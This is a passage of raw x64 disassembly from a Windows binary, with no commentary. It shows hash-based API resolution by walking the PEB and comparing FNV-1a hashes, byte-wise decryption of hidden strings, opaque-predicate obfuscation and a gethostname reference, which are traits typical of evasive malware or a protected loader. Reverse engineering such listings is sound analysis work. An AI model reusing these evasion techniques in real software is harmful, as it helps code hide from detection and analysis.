movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005535c
mov eax, 7
jmp 0x1400553f7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400553f3
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
jmp 0x1400553f7
mov eax, dword [rsp + 0x50]
xor esi, esi
cmp esi, eax
jge 0x1400554c5
mov byte [rsp + 0x300], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x301], xmm0
mov qword [rsp + 0x311], rax
mov word [rsp + 0x319], ax
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1b
jae 0x1400554a9
movabs r8, 0xa20f00fdf1f26171
nop word [rax + rax]
mov rdx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx ebx, byte [rsp + rax + 0x300]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x17
add bl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0x300], bl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1b
jb 0x140055450
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x2e0]
call fcn.140001d00
jmp 0x140056068
xor esi, esi
mov rbx, qword [0x14007d208]
test rbx, rbx
jne 0x1400556a5
mov edi, esi
mov r10d, 0x3474b087
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r15, r13
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [r15 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14005555f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x5521a70
cmp rcx, r8
je 0x140055557
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140055540
cmp edx, edi
jne 0x14005567c
mov r9, qword [r15 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x14005567c
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14005567c
mov r14d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x5521a70
test al, al
je 0x1400555e9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400555d0
cmp ecx, r10d
je 0x1400555f8
test r8d, r8d
jne 0x1400555a0
jmp 0x14005567c
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, r11
jbe 0x140055623
lea rax, [r12 + r11]
cmp rbx, rax
jae 0x140055623
mov al, 1
jmp 0x140055625
xor al, al
test al, al
je 0x14005569e
mov edi, 0x5521a70
mov r10d, edi
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x140055655
nop dword [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x140055640
inc rbx
movzx eax, byte [rbx]
cmp al, 0
je 0x140055678
nop
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x140055660
mov r15, qword [r13]
mov rax, qword [r15]
mov r15, rax
cmp rax, r13
je 0x140055692
cmp qword [rax + 0x30], 0
je 0x140055692
mov al, 1
jmp 0x140055694
xor al, al
test al, al
jne 0x140055500
xor ebx, ebx
mov qword [0x14007d208], rbx
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x1610]
call rbx
mov rdx, qword [0x14007d288]
test rdx, rdx
jne 0x140055895
xor edi, edi
mov r10d, 0x9eb270ea
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r15, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [r15 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14005574f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x5aa18ca0
cmp rcx, r8
je 0x140055747
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140055730
cmp edx, edi
jne 0x14005586c
mov r9, qword [r15 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x14005586c
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14005586c
mov r14d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x5aa18ca0
test al, al
je 0x1400557d9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400557c0
cmp ecx, r10d
je 0x1400557e8
test r8d, r8d
jne 0x140055790
jmp 0x14005586c
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x140055813
lea rax, [r11 + r12]
cmp rdx, rax
jae 0x140055813
mov al, 1
jmp 0x140055815
xor al, al
test al, al
je 0x14005588e
mov edi, 0x5aa18ca0
mov r10d, edi
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140055845
nop dword [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140055830
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x140055868
nop
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140055850
mov r15, qword [r13]
mov rax, qword [r15]
mov r15, rax
cmp rax, r13
je 0x140055882
cmp qword [rax + 0x30], 0
je 0x140055882
mov al, 1
jmp 0x140055884
xor al, al
test al, al
jne 0x1400556f0
xor edx, edx
mov qword [0x14007d288], rdx
mov rcx, qword [rsp + 0x1610]
call rdx
mov rdx, qword [0x14007d0c8]
test rdx, rdx
jne 0x140055a75
xor edi, edi
mov r10d, 0x203430ae
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r15, r13
nop
movups xmm0, xmmword [r15 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14005592f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xe8f390e4
cmp rcx, r8
je 0x140055927
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140055910
cmp edx, edi
jne 0x140055a4c
mov r9, qword [r15 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x140055a4c
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140055a4c
mov r14d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xe8f390e4
test al, al
je 0x1400559b9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400559a0
cmp ecx, r10d
je 0x1400559c8
test r8d, r8d
jne 0x140055970
jmp 0x140055a4c
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x1400559f3
lea rax, [r11 + r12]
cmp rdx, rax
jae 0x1400559f3
mov al, 1
jmp 0x1400559f5
xor al, al
test al, al
je 0x140055a6e
mov edi, 0xe8f390e4
mov r10d, edi
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140055a25
nop dword [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140055a10
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x140055a48
nop
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140055a30
mov r15, qword [r13]
mov rax, qword [r15]
mov r15, rax
cmp rax, r13
je 0x140055a62
cmp qword [rax + 0x30], 0
je 0x140055a62
mov al, 1
jmp 0x140055a64
xor al, al
test al, al
jne 0x1400558d0
xor edx, edx
mov qword [0x14007d0c8], rdx
mov rcx, qword [rsp + 0x1618]
call rdx
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x2090]
call sub.VCRUNTIME140.dll_memset
mov r12d, 1
mov edx, r12d
lea rcx, [rsp + 0x2090]
call fcn.14005bd60
nop
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r15, rax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140055e94
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140055baa
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140055baa
mov r10d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140055ba5
mov ecx, 0xb40718dd
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140055b80
cmp ecx, 0xe6dccc9b
je 0x140055cc0
test r8d, r8d
jne 0x140055b50
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x140055bc0
cmp qword [rax + 0x30], 0
je 0x140055bc0
mov al, 1
jmp 0x140055bc2
xor al, al
test al, al
jne 0x140055b20
xor r14d, r14d
mov eax, r14d
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x1550]
mov r8d, 0x1000
lea rdx, [rsp + 0x4b90]
mov rcx, r15
call rax
test eax, eax
je 0x140055c01
cmp dword [rsp + 0x1550], 0
mov rdx, r12
ja 0x140055c04
mov rdx, r14
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140055cdf
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140055cdf
mov ebx, 7
jmp 0x140055d7d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
xor r14d, r14d
jmp 0x140055bd0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140055d76
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si ebx, xmm0
jmp 0x140055d7d
mov ebx, dword [rsp + 0x1550]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*4]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140055e94
mov byte [rsp + 0x1698], 0
mov byte [rsp + 0x2c0], 0x4c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2c1], xmm0
mov qword [rsp + 0x2d1], rax
mov qword [rsp + 0x1688], r14
mov rax, qword [rsp + 0x1688]
cmp rax, 0x19
jae 0x140055e69
movabs r8, 0x33405c635154d936
nop word [rax + rax]
mov rdx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx ebx, byte [rsp + rax + 0x2c0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x7a
add bl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0x2c0], bl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x19
jb 0x140055e10
mov ecx, dword [rsp + 0x1550]
movzx eax, byte [rsp + 0x2c0]
mov byte [rsp + rcx + 0x4b90], al
lea rdx, [rsp + 0x4b90]
lea rcx, [rsp + 0x20a0]
call fcn.140002170
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, ebx
imul edx, edi
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140055f92
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140055f92
mov eax, 7
jmp 0x140056030
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056029
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
jmp 0x140056030
mov eax, dword [rsp + 0x1550]
xor esi, esi
cmp esi, eax
jge 0x14005604c
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0x20a8]
call fcn.140001f10
nop
lea rcx, [rsp + 0x2128]
call fcn.14005bd00
lea rcx, [rsp + 0x2128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1888]
call fcn.14005c960
lea rcx, [rsp + 0x2e0]
call fcn.140001c70
nop
lea rcx, [rsp + 0x380]
call fcn.140001c70
nop
lea rcx, [rsp + 0x3a0]
call fcn.140001c70
nop
lea rcx, [rsp + 0x3c0]
call fcn.140001c70
nop
lea rcx, [rsp + 0x3e0]
call fcn.140001c70
mov byte [rsp + 0x2a0], 0x12
mov byte [rsp + 0x2a1], 0x30
mov byte [rsp + 0x2a2], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x2a3], 0x3a
mov byte [rsp + 0x2a4], 0x3d
mov byte [rsp + 0x2a5], 0x21
mov byte [rsp + 0x2a6], 0x7c
mov byte [rsp + 0x2a7], 0x66
mov byte [rsp + 0x2a8], 0xe
mov byte [rsp + 0x2a9], 4
mov byte [rsp + 0x2aa], 0x78
mov byte [rsp + 0x2ab], 7
mov byte [rsp + 0x2ac], 0x25
mov byte [rsp + 0x2ad], 0xd9
mov byte [rsp + 0x2ae], gethostname
mov byte [rsp + 0x2af], 0x2c
mov byte [rsp + 0x2b0], 0x22
mov byte [rsp + 0x2b1], 0xdc
mov byte [rsp + 0x2b2], 0x69
mov byte [rsp + 0x2b3], 0x70
mov byte [rsp + 0x2b4], 0x52
xor eax, eax
mov qword [rsp + 0x2b5], rax
mov word [rsp + 0x2bd], ax
mov byte [rsp + 0x2bf], al
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x20
jae 0x1400561f9
movabs r8, 0xe8f287a5495fb44b
nop dword [rax + rax]
mov rdx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx ebx, byte [rsp + rax + 0x2a0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0xd
add bl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0x2a0], bl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x20
jb 0x1400561a0
lea r8, [rsp + 0x2a0]
lea rdx, [rsp + 0x1828]
lea rcx, [rsp + 0x280]
call fcn.14005df60
nop
lea r8, [rsp + 0x1848]
mov rdx, rax
lea rcx, [rsp + 0x260]
call fcn.14005e220
nop
lea r8, [rsp + 0x1808]
mov rdx, rax
lea rcx, [rsp + 0x240]
call fcn.14005e220
nop
mov rcx, rax
call fcn.1400020a0
mov rbx, rax
movzx edx, byte [rsp + 0x1698]
lea rcx, [rsp + 0x220]
call fcn.140002460
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x140056271
mov rdx, rbx
lea rcx, [rsp + 0x220]
call fcn.140002480
nop
xor eax, eax
mov byte [rsp + 0x7e], al
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x7e]
call fcn.14001ed70
mov r14, rax
cmp byte [rax], 0
jne 0x140057299
mov dword [rsp + 0x50], esi
mov r15d, dword [rsp + 0x1550]
mov r12d, dword [rsp + 0x1550]
mov r13d, dword [rsp + 0x1550]
nop dword [rax]
mov eax, dword [rsp + 0x50]
cmp eax, 1
jae 0x140057297
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
add ebx, ebx
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x1400565df
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400563ce
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400563ce
mov r15d, 7
jmp 0x140056464
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056464
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si r15d, xmm0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056519
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140056519
mov r12d, 7
jmp 0x1400565af
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400565af
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si r12d, xmm0
movsxd rcx, dword [rsp + 0x50]
movsxd rax, r12d
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x50]
movsxd rax, r15d
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056f78
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140056929
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
